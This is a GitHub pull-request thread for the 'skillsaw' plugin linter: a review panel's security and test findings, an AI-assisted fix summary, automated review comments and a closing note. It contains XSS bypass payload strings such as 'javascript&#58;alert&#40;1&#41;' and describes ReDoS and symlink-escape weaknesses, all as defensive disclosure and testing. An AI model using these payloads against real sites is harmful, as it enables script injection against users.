/\/g is an unterminated regex literal. Verified end-to-end: skillsaw docs tests/fixtures/codex/clean --format htmlindex.html's 27 KB script block fails node --check with SyntaxError: Invalid regular expression. The same block at base 43654b2 parses clean, so this is a regression this PR introduces. Every page's content is rendered by that IIFE, so the output is a blank shell — and the escaping hardening escJsAttr exists for never executes. tests/test_docs.py only greps for the string function escAttr(str) {, which is why nothing caught it.

2. The ReDoS is still there — the rewrite traded exponential for quadratic. Architecture, Python and Security all found this independently, each with measurements. In _redact_userinfo, the backward separator search starts at emitted, which only advances when a redaction actually fires; an input of @-dense or a@b -shaped text never fires one, so every @ re-scans the whole prefix. _MAX_DISPLAY truncation happens after the scan, so the length cap bounds output, not work. Measured on this checkout:

n= 50000    0.114s
n=100000    0.343s   3.0x
n=200000    1.099s   3.2x
n=400000    3.924s   3.6x

Security reproduced it end-to-end: a 2 MB .codex-plugin/plugin.json name field → skillsaw lint takes 2m17s of CPU for one warning; 8 MB extrapolates to ~35 minutes. This is not regex backtracking, so the regex-timeout/SIGALRM control from T13 does not apply. safe_display is on 28 sinks that echo attacker-controlled manifest values, and this linter runs in CI over untrusted repositories.

3. make test is red on this branch. The fix is a one-line move, but the reason it shipped is worth naming: test_redaction_is_linear_on_adversarial_values is the canary for finding 2, and it does fail — just not without coverage instrumentation. make test runs pytest --cov; under those exact flags:

FAILED tests/test_codex_rules.py::TestPanelFourRegressions::test_redaction_is_linear_on_adversarial_values
AssertionError: assert (1983.179 - 1981.304) < 1.0

Confirmed on this checkout. The PR reports 3,456 passed, which is the uninstrumented number — so make test was not run clean, contrary to the pre-push checklist in .claude/rules/development.md. Note the failing input is "@" * 60000, i.e. the test caught the real defect and was read as a timing flake.

4. _safe_url() is bypassed by HTML character references. The scheme gate partitions on a literal : in the raw string, so a payload with no literal colon is returned as "relative or bare host". Verified:

_safe_url('javascript&#58;alert&#40;1&#41;')  ->  'javascript&#58;alert&#40;1&#41;'   (unchanged)
_safe_url('javascript:alert(1)')             ->  ''                                  (blocked)

markdown_renderer.py:156 interpolates that raw into [Homepage](...), and python-markdown — what mkdocs runs, including for skillsaw's own site — renders <a href="javascript&#58;alert&#40;1&#41;">, which the HTML parser decodes to javascript:alert(1). homepage is a third-party contributor's field in an aggregating catalog. markdown-it-py and GitHub's sanitizer reject it, so impact is renderer-dependent — but it is a straight bypass of the control's purpose.

5. The backward-compatibility claim is unpinned, and one security guard's test is vacuous. QA mutation-proved both. There is no dual-manifest fixture anywhere in tests/fixtures/ — I confirmed: 8 .codex-plugin directories, zero with a sibling .claude-plugin. So the and context.is_codex_only_plugin(owner) half of the hooks-json-valid and mcp-valid-json gates — which is precisely what implements "dual-manifest repositories report exactly what 0.17 did" — is never executed; both compat tests short-circuit on the first operand. QA deleted that half of both gates and got 3456 passed, the author's exact number. Separately, test_fix_declines_a_symlinked_catalog never reaches the guard it names (a symlinked catalog isn't discovered, so fix() returns at the not pending check); QA deleted the whole guard and the suite stayed green. The code is correct in both cases today — the tests just cannot tell.

6. Generated docs are an unmodelled trust boundary. Findings 1 and 4 both live on a surface THREAT_MODEL.md does not describe: untrusted manifest metadata → skillsaw docs renderers → published Markdown/HTML. This PR ships four mitigations for it (_safe_url, _table_cell, escJsAttr, _unique_filenames) and models none of them. Security and the Technical Writer raised this independently. That the two broken controls are both on the undocumented boundary is not a coincidence.

What is genuinely good, and worth saying. Architecture found no blocking issues in the Codex feature's design and confirmed the PluginProvenance single-pass loop is the right shape. Ecosystem verified the spec modeling field-by-field against the live OpenAI sources — openai.yaml's allow-set, _INTERFACE_STRINGS, _BRAND_COLOR, the marketplace source types all match validate_plugin.py exactly — and measured the real-repo impact: zero codex-* findings across openai/plugins (180 plugins), and a net false-positive reduction versus base (640 fewer agentskill-unreferenced-files, 25 Claude-format FPs removed by provenance gating), with zero newly-introduced violations of any pre-existing rule. Adoption clears the core bar comfortably (1,228 repos with .codex-plugin/plugin.json, 3,028 with agents/openai.yaml). Scope is settled: in core, no plugin redirect. The Technical Writer rebuilt every generated file in a clean venv and got a zero-byte diff. None of the six items above is architectural; all are at the edges, and all are small.


Required Actions Before Merge

  1. Fix escJsAttr()'s backslash halvingdocs/html_renderer.py:1210. The literal is a non-raw Python string, so .replace(/\\/g, '\\\\') emits .replace(/\/g, '\\'). Double the backslashes in the Python source, or make _get_js()'s literal raw and re-escape. Add a test that parses the emitted script — either run node --check over the <script> blocks of a generated page (skip if node is absent) or assert the exact substring .replace(/\\/g, '\\\\') is present. The current tests/test_docs.py grep for function escAttr(str) { is what let a completely dead page ship.

  2. Bound the work in safe_display()rules/builtin/codex/_helpers.py:65, cap at :99. Apply the _MAX_DISPLAY slice before _redact_userinfo, and/or advance the backward-search floor on every iteration (floor = max(emitted, at - 512), matching the 512-char cap already used for forward host inspection at :74) so the window can never span the prefix. Both are one-line changes; do the truncate-first one regardless, since it bounds the scan independently of its complexity class.

  3. Make the timing test instrumentation-invariant and re-run make testtests/test_codex_rules.py:5991. Replace the absolute < 1.0 with a scaling-ratio assertion: time safe_display("@" * n) and safe_display("@" * 4n), assert t4/t1 < 8 (linear lands near 4; today's quadratic lands near 16). Keep assert len(out) <= 501. Then run make test with its real flags — the branch must be green under --cov, not just under bare pytest.

  4. Close the _safe_url() entity bypassdocs/extractor.py:517, sink at docs/markdown_renderer.py:156. Reject any candidate containing & or % that is not already a validated http/https/mailto URL, and add a second layer at the Markdown sink (percent-encode, or wrap the destination in <...>) so the extractor is not the only control. Test both javascript&#58;alert&#40;1&#41; and &#106;avascript:... through both renderers.

  5. Add a dual-manifest fixture and make the compat claim testabletests/fixtures/codex/dual-manifest/: one directory with both .claude-plugin/plugin.json and .codex-plugin/plugin.json, a hooks/hooks.json with "matcher": [], and a .mcp.json with {"legacy": {"type": "stdio", "command": ""}}. Then TestDualManifestBackwardCompat asserting the Claude results are unchanged plus the precondition context.provenance(plugin).ecosystems == frozenset({"claude","codex"}) and codex_plugin_owning(hooks_path) is not None, so the test cannot go vacuous the way the current two did. Strongest form, if cheap: copy the fixture twice, delete .codex-plugin/ from one, assert the two full Linter.run() message sets are equal modulo codex-only rule ids. Every new test here must fail if the and is_codex_only_plugin(owner) conjunct is deleted — verify that, don't assume it.

  6. Make test_fix_declines_a_symlinked_catalog reach its guardtests/test_codex_rules.py:5946, guard at codex/marketplace_registration.py:415-418. Symlink marketplace.json → a sibling in-repo JSON inside .agents/plugins/ so discovery still attaches it and check() produces violations, then assert fix() == [] and byte-identity. Confirm the test fails with lines 415-418 removed.

  7. Fix the _scoped_prose root-plugin leakdocs/extractor.py:456. For a Codex plugin whose directory is the repo root, container.find(block_cls) walks the whole tree and is_relative_to(plugin_resolved) is vacuously true, so other plugins' commands are published twice and misattributed to the root plugin (Architecture reproduced this). Apply the nearest-owning-root rule _extract_codex_skills already uses at :546-558. Add a docs fixture with a root-level Codex plugin plus a nested plugins/* plugin.

  8. Remove the remaining review-history residue — mechanical, no behavior change:

    • tests/test_codex_rules.py:5982 — "the regex it replaces was quadratic" (the regex never shipped; _helpers.py does not exist at base).
    • tests/test_codex_rules.py:3090 — ".mcp.json was hard-coded, so … were attributed to a file that need not exist."
    • tests/test_codex_rules.py:4283 — "so searching both returned the Codex node's blocks twice."
    • tests/test_codex_rules.py:375 — "whose Path.resolve() raised on the symlink loop" (the sibling test at :391 states the same fact correctly in present tense).
    • context.py:1072 — "rebuilding the claim list on each call made repository detection quadratic" → "would make". The paired comment at :911 was re-tensed last round; this one was missed.
    • class TestPanelFourRegressions (tests/test_codex_rules.py:5919) — the only round-keyed class among ~180 behavior-named ones, grouping five unrelated subjects. Redistribute to TestMarketplaceRegistrationAutofix, TestGeneratedLinkSchemes, TestEntrypointContainment, and a new TestSafeDisplay. Both tests this panel found broken live in it.
  9. Add the generated_docs entry point and a threat to THREAT_MODEL.md — untrusted manifest/catalog metadata → skillsaw docs renderers → published Markdown/HTML, covering stored XSS and Markdown injection, with _SAFE_URL_SCHEMES, _URL_FORBIDDEN, _table_cell, escAttr/escJsAttr and _unique_filenames as controls. Add a line under T11 that safe_display() runs over unbounded manifest values. Required actions 1 and 4 both exist because this boundary is undocumented.

  10. Resolve the policy.installation open-vs-closed contradiction — Ecosystem settled the fact, so this is now a mechanical correction across three documents that currently disagree. The prose spec hedges (plugins.md: "values such as AVAILABLE, …"); the field-level spec closes it (openai/codex plugin-json-spec.md:177: "Allowed values: …"). State that split in all three places: .claude/skills/skillsaw-maintenance/references/codex.md:74-78 (plus the .apm/ and .agents/ mirrors — currently attributes the closed enum to the wrong document), rules/docs/codex-marketplace-json-valid.md:64 ("both value sets are open-ended upstream" — false for the field-level spec), and the code comment at codex/marketplace_json_valid.py:33-42. Runtime behavior (WARNING + configurable) is the correct intersection and needs no change.


Optional Follow-ups

Real-repo false positive, worth doing (Ecosystem #2). .codex-plugin/ with no plugin.json emits a hard ERROR that fails CI under the default fail-on: error — but on mikersays/mikersays-plugins (legacy .codex-plugin/marketplace.json + hooks.json, real catalog at .agents/) there is no root plugin at all, so the message names a defect that does not exist while codex-plugin-structure already reports the misplacement accurately. Reword, or downgrade to WARNING when the directory holds only files the structure rule is already flagging. codex/plugin_json_valid.py:96-104.

Architecture cleanups, in rough value order — all carried from last round:

  • Replace marketplace/json_valid.py:56-77's fresh filesystem probe with a provenance() read, and move its containment check into provenance(). The two have already diverged: provenance() probes .claude-plugin with no containment check, so a .claude-plugin symlinked out of the checkout flips a directory off Codex-only — simultaneously enabling Claude-format false positives and disabling the Codex-tightened hooks/MCP checks. An out-of-tree symlink should not relax linting.
  • Move the six safe_* helpers from formats/codex.py:58-113 into paths.py — a Claude marketplace rule currently imports from a Codex format module, and paths.py's own docstring already concedes the placement.
  • Initialize marketplace_entries = {} before repo_types is computed and drop the getattr at context.py:1104 (raised by Architecture and Python both). Correctness currently rests on an unconditional _provenance_cache.clear() 600 lines away.
  • Decide --type semantics for the tree seed: lint_tree.py:293 seeds from context._codex_claim_set(), which is deliberately --type-invariant, so under --type marketplace a catalog-listed plugin gets a full subtree while an identical unlisted one is never linted. Expose one public accessor and update the __init__:310-318 comment either way.
  • Either delete PluginProvenance.installed (written on every record, read by nobody — all ten consumers call is_codex_installed_plugin() directly) or route the consumers through it.
  • Fix the root-level .mcp.json attach order in build_lint_tree and delete the _OwnBlocks/_root_claimed_blocks path-matching workaround; at minimum drop the now-dead hooks/hooks.json entry from wanted.
  • Converge the seven .parent.parent Codex-ownership sites on one context.is_codex_only_content(path) (or the find_parent(..., PluginNode) form commands/name_format.py already uses) and drop the four unused PluginNode imports.

Performance, all measured on a 300-plugin / 3000-skill synthetic catalog:

  • _add_openai_metadata (lint_tree.py:196) does three safe_resolve() calls before the safe_is_file() existence gate — 1.114 s of build_lint_tree's 7.9 s, ~28x on the isolated comparison. Move the gate above the resolves; behavior is identical.
  • codex_plugin_owning still rebuilds set(self.codex_plugin_roots()) per call (context.py:1155); cache a frozenset, invalidated alongside _codex_roots. Same pattern at docs/extractor.py:315.
  • context.py:1654 resolves item / "SKILL.md" unconditionally before the .exists() check on the next line, on the shared discovery path — a new per-directory realpath() paid by pure-Claude repos.
  • lint_tree.py:542 scans all of seen_roles per matched content-glob file; keep a parallel Set[Path].
  • Hoist marketplace_dir.resolve() out of the per-plugin loop at lint_tree.py:400, and switch the bare .resolve() calls at :295/:311 to safe_resolvebuild_lint_tree sits outside the rule-execution-error guard.

Test coverage beyond the required items: three declared refusal conditions in marketplace_registration.py have zero line coverage — unsafe path (:201), already-listed name inside fix() (:450-452, no test calls fix() on a crossed catalog), and a syntactically invalid catalog (the existing test uses valid JSON with a wrong shape). Add test_unhashable_hook_type_is_reported_not_raised against a Claude-only plugin — the guard at hooks/json_valid.py:241 is ungated and genuinely changes 0.17 behavior (base raises TypeError, aborting all hook validation), which is a deviation from strict parity worth both a test and a line in the PR description. Add test_untouched_entries_survive_byte_for_byte for the registration fix. Port the new integration tests and test_openai_metadata.py (499 lines, zero copy_fixture calls) onto fixtures per .claude/rules/testing.md.

Documentation: fix PluginProvenance's docstring pointer to the nonexistent RepositoryContext._compute_provenance (the method is provenance()) — this is the one docstring a maintainer adding the next ecosystem is steered to. Add the "## Codex plugins" section to command-name-format.md and marketplace-registration.md (six sibling rules with the identical stand-down have it; marketplace-registration is the surprising one, since registration is still required — by codex-marketplace-registration). Complete codex-plugin-json-valid.md's "How to fix" for the five uncovered violation classes, the file-vs-directory kind mismatch especially. Add CodexPluginNode to the maintenance reference. Add codex-marketplace to DEVELOPMENT.md:47's SCALE= list. Re-wrap the six over-long "## Codex plugins" blurbs and reword the plugin-naming/plugin-readme clauses, which are non-sequiturs after "Claude never loads it, so …". Record the three unimplemented plugin-json-spec.md constraints (required author.name/interface.* values, PNG screenshots under ./assets/, absolute https:// policy URLs — all FP-free on openai/plugins) in the deliberate-non-checks list, along with the counter-evidence for defaultPrompt (5/180 official plugins violate it), which is the strongest argument the current hedging is right.

PR description: move the dir/** exclusion bullet out of "Behavior changes to existing rules" — the variant sets are byte-identical across both refs, so nothing changed; it is a documentation addition. Refresh the "~40 rules" counts in THREAT_MODEL.md:13 and docs/index.md:18 (actual: 68) while THREAT_MODEL.md is open anyway. Write the squash message fresh from the PR body.

Noted, no action: the json.dumps(indent=2) whole-catalog reflow in the registration autofix is precedent-consistent — the pre-existing Claude rule at marketplace/registration.py:191 does exactly the same — and sits behind AutofixConfidence.SUGGEST. Splitting tests/test_codex_rules.py's 6,051 lines is a real layout problem but a 108-class reshuffle inside this diff trades more risk than it buys; dissolving TestPanelFourRegressions (required action 8) is the part worth doing now.


Generated by skillsaw-review-panel

@stbenjam

Copy link
Copy Markdown
Owner Author

A 6,051 line individual test file is unacceptable - please fix

not-stbenjam and others added 2 commits July 27, 2026 13:42
…entity bypass

- escJsAttr was emitted from a non-raw string, halving its backslashes
  into an unterminated JS regex — every docs HTML page was a blank
  shell. Fixed and pinned by parsing the emitted script blocks.
- safe_display now truncates before scanning, treats the cut edge as a
  severed credential, and floors the backward search window — work is
  bounded by the display cap (2 MB manifest value: 2m17s -> ~10ms).
- _safe_url decodes HTML character references to a fixed point before
  scheme validation, and the Markdown sink re-encodes '&' so entity
  text cannot reassemble a scheme at render time.
- _scoped_prose matches prose to its nearest owning plugin root, so a
  repo-root Codex plugin no longer republishes nested plugins' files.
- Skill discovery derives its containment boundary from provenance at
  the walk chokepoint, closing the symlink escape on every route (the
  strict-xfail documenting it now passes and lost its marker).
- Non-string hook types route through the diagnostic redactor.
- The vacuous symlinked-catalog fix test now reaches the guard it
  names; a dual-manifest fixture pins the 0.17 compat claim; both are
  mutation-verified. TestPanelFourRegressions redistributed into
  behavior-named classes; timing test asserts a scaling ratio.
- THREAT_MODEL models the generated-docs boundary (T15); the
  policy-enum provenance note names the right upstream document.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@not-stbenjam

Copy link
Copy Markdown
Collaborator

Response to the fifth panel round

All ten required actions are addressed in 3cdee89. The panel's headline was right and worth conceding plainly: two of round four's fixes did not work, and the canary test that caught one of them was misread as a timing flake. This round's fixes were therefore verified by mechanism, not by assertion:

  1. escJsAttr backslash halving — fixed (the literal now survives the non-raw string), and the test parses every emitted <script> block with node --check plus pins the exact post-halving substring. skillsaw docs --format html renders again.
  2. safe_display work bound — the display cap is applied before the scan, the cut edge is treated as a potentially severed credential (so truncate-first cannot leak a secret's head), and the backward window is floored without ever clamping into a secret. The panel's 2 MB PoC drops from 2m17s to ~10ms.
  3. Timing test — now a scaling-ratio assertion (t(4n)/t(n) < 8) and make test was run with its real flags: 3,472 passed under --cov.
  4. _safe_url entity bypass — character references are decoded to a fixed point before scheme validation, and the Markdown sink independently re-encodes &. Tested single- and double-encoded, both renderers.
  5. Dual-manifest fixturetests/fixtures/codex/dual-manifest/ with the exact provenance preconditions, a codex-only twin control, and a claude-only twin equality check. Deleting the is_codex_only_plugin conjunct fails 3 of 4 tests (verified by mutation, both gates).
  6. Symlinked-catalog fix test — now symlinks to an in-repo sibling so check() fires and fix() reaches its refusal; deleting the guard fails the test (verified by mutation).
  7. _scoped_prose root leak — nearest-owning-root matching against Claude and Codex roots both, mirroring _extract_codex_skills.
  8. Review-history residue — the five comments re-tensed; TestPanelFourRegressions dissolved into behavior-named classes (TestSafeDisplay, TestRendererHardening, TestRegistrationFixSymlinkRefusal, TestEvalsBaselineStability, TestLintPathWidening).
  9. Threat modelgenerated_docs entry point, published_docs asset, T15 (stored XSS / Markdown injection through generated docs) with the four controls as evidence; T11/T14 note the safe_display work bound.
  10. Policy enums — all three documents now state the actual split: the prose spec hedges ("such as"), plugin-json-spec.md closes the enum; WARNING is the intersection.

Also folded in: the connector's round-seventeen P1 (skill discovery now derives containment from provenance at the walk chokepoint — the strict xfail documenting the uncontained walk now passes and lost its marker), its docs-TypeError, hook-type redaction, and entity-URL findings; the raw Owner:/title sinks; and several of the repeatedly-flagged documentation items (missing "Codex plugins" sections, the plugin-json-valid fix guide, the phantom _compute_provenance pointer, rule-count refresh).

Validation: make test 3,472 passed (under coverage), make lint and make update clean, openai/plugins @ 11c74d6: 0 codex-* findings across 180 plugins, ai-helpers exit 0.

The remaining optional items (architecture cleanups, perf polish, fixture ports) are follow-up material, deliberately not folded into a PR this size.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 6a1d5c70d4

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

):
violations.append(
self.violation(
f"MCP server '{server_name}' '{required_field}' must be a non-empty string",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Redact MCP server names in usability errors

For a Codex-only plugin with inline configuration such as "mcpServers":{"https://user:secret@host.example/server":{"command":""}}, this new branch interpolates the manifest-controlled server name directly into the diagnostic. Credentials and terminal control characters can therefore reach text, JSON, and SARIF reports; pass server_name through safe_display() as the adjacent Codex diagnostics do.

AGENTS.md reference: AGENTS.md:L164-L168

Useful? React with 👍 / 👎.

Comment on lines +61 to +64
A path can also exist and still be reported for its *kind*: fields that
name a file (`hooks`, the `interface` asset paths) are warned about
when they resolve to a directory, and fields that name a directory
(`skills`, `apps`) when they resolve to a file. The path is fine —

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Align documented path-kind checks with the implementation

The rule does not perform the promised filesystem-kind checks for apps or any interface asset: _EXPECTED_KIND contains only hooks, mcpServers, and skills, and _check_paths() skips fields absent from that mapping. Thus an apps path pointing to a file or an interface.logo path pointing to a directory receives no documented warning; either narrow this paragraph to the implemented fields or add the promised validation.

AGENTS.md reference: AGENTS.md:L27-L29

Useful? React with 👍 / 👎.

Comment thread tests/test_codex_rules.py
Comment on lines +6001 to +6002
wall-clock assertion here was once misread as a timing flake
while it was correctly reporting quadratic behavior.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Remove review-history narration from the performance test

This docstring records how an earlier wall-clock assertion was interpreted during review rather than explaining the durable test contract. That history will become misleading as the implementation and instrumentation change; retain only the stable rationale that a scaling ratio avoids instrumentation-dependent absolute timings and detects nonlinear growth.

Useful? React with 👍 / 👎.

loose = [
b
for b in context.lint_tree.find(McpBlock) + context.lint_tree.find(HooksBlock)
if safe_resolve(b.path) in wanted

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Reject escaped root configs before generating docs

For a repository-root Codex plugin whose .mcp.json is a symlink to an existing file outside the checkout, the generic root attachment follows the link and this resolved-path comparison accepts the resulting block because both entries in wanted and b.path resolve to the same external file. _extract_mcp_servers() then publishes that external server configuration in generated Markdown and HTML, potentially exposing developer or CI commands, URLs, and secrets; require recovered blocks to remain under the resolved plugin root.

AGENTS.md reference: AGENTS.md:L159-L162

Useful? React with 👍 / 👎.

Comment on lines +85 to +86
if widened not in bounds:
resolved = widened

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Seed catalogs that cannot widen past the home boundary

When skillsaw lint ~/.agents/plugins/marketplace.json is invoked for the documented user-level catalog, widened equals Path.home() and this branch deliberately leaves the context rooted at ~/.agents/plugins. Codex discovery then probes ~/.agents/plugins/.agents/plugins/marketplace.json, so the explicitly supplied real catalog receives no marketplace rules; retain a direct-catalog seed when widening is declined rather than silently dropping the target.

Useful? React with 👍 / 👎.

it — ``..`` is not allowed in a source;
* the catalog cannot be rewritten safely at all.
"""
if _mutable_marketplace_data(_read_text(marketplace_file)) is None:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Mark symlinked catalogs non-fixable

For an in-repository marketplace.json symlink to a contained sibling, this check sees parseable data and _registerable() marks an unregistered-plugin violation as fixable. However, fix() unconditionally refuses every symlinked catalog at lines 410–418, so text, JSON, and SARIF advertise a SUGGEST fix that always produces no result; apply the same lexical-versus-resolved guard while computing registerability.

Useful? React with 👍 / 👎.


for node in context.lint_tree.find(CodexMarketplaceConfigNode):
marketplace_file = node.path
data, error = read_json(marketplace_file)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Reject duplicate keys during catalog validation

A catalog such as {"name":"cat","plugins":[{"name":"remote","source":{"source":"url","url":"https://example/x"}}],"plugins":[]} is accepted as clean because the shared reader silently retains only the final plugins value. Entries hidden by a duplicate key therefore escape every schema and registration check, even though the registration autofix already treats this document as malformed; parse validity checks with duplicate-key rejection as well.

Useful? React with 👍 / 👎.

"array, got a "
f"{'JSON array' if isinstance(data, list) else 'JSON scalar'}",
file_path=evals_json,
line=commented_root_line(shaped),

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Preserve legacy eval baseline fingerprints

A baseline generated by 0.17 for a top-level array or scalar evals.json fingerprinted the old line-less message, but this change both rewrites that message and adds line 1, switching the fingerprint to the root-line content. The unchanged violation therefore becomes newly visible and its previous baseline entry is reported stale after upgrade; retain the required line attribution while supporting or migrating the legacy fingerprint.

AGENTS.md reference: AGENTS.md:L88-L90

Useful? React with 👍 / 👎.

Comment thread src/skillsaw/utils.py
Comment on lines +276 to +277
except RecursionError:
return None, _TOO_DEEP, None

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Catch oversized-integer errors from ruamel

On Python 3.11+, an unquoted YAML integer longer than the interpreter's digit limit makes ruamel's integer constructor raise a bare ValueError, not _RuamelYAMLError. Because this reader catches only YAML errors and RecursionError, accessing such an agents/openai.yaml through OpenAIMetadataBlock.raw_data produces rule-execution-error and discards the metadata rule's remaining checks; catch ValueError here and return it as a parser diagnostic, as read_json() already does.

Useful? React with 👍 / 👎.

CodeQL flags a case-sensitive <script> regex as a bad HTML tag filter
(py/bad-tag-filter). The test slices blocks out of our own renderer's
output for a node --check parse, not sanitizing — plain string
splitting does the same job without reading as a sanitizer.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@not-stbenjam

Copy link
Copy Markdown
Collaborator

Closing in favor of a feature-branch workflow

This PR is being closed without merging — not because the work is rejected, but because the delivery vehicle is being replaced.

Where things stand: the feature is functionally complete and validated — 3,472 tests green under coverage, zero codex-* findings across openai/plugins (180 plugins, pinned SHA, enforced in CI), byte-identical results on Claude-only repos, and a net false-positive reduction on real-world corpora. Three independent assessments (the review panel, the implementing session, and a context-free maintainer review) converged on the same read: the architecture (PluginProvenance, the single-pass lint tree) is right, but the branch carries refactorable debt — ecosystem gating inlined across ~15 rule files, core helpers living in Codex-named modules, docs-extractor shims re-deriving what the tree already knows, and a 6,000-line test file.

The plan: codex-plugin-rules becomes a long-lived feature branch. The debt is paid down through small, individually-reviewable PRs into that branch:

  1. Move safe_* / safe_display to core modules; add contained_resolve(); ban bare .resolve() in touched files
  2. Declarative provenance gating on the Rule base class, deleting the inline guards
  3. Docs extractor reads provenance from tree nodes; remove the _OwnBlocks/_BlockSources shims and the twin catalog enumerators
  4. Split tests/test_codex_rules.py into a tests/codex/ package; port programmatic repos toward fixtures
  5. Prune review-history commentary down to load-bearing invariants

When the branch reaches a respectable state, a fresh PR from a new branch to main will supersede this one — reviewable on its merits, without this PR's 500-comment history. The 0.18.0 release is gated on that PR, not this one.

The full review record here remains the archaeology: what a multi-model adversarial review loop does to a 2,500-line PR, and why the next one this size gets split on arrival.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants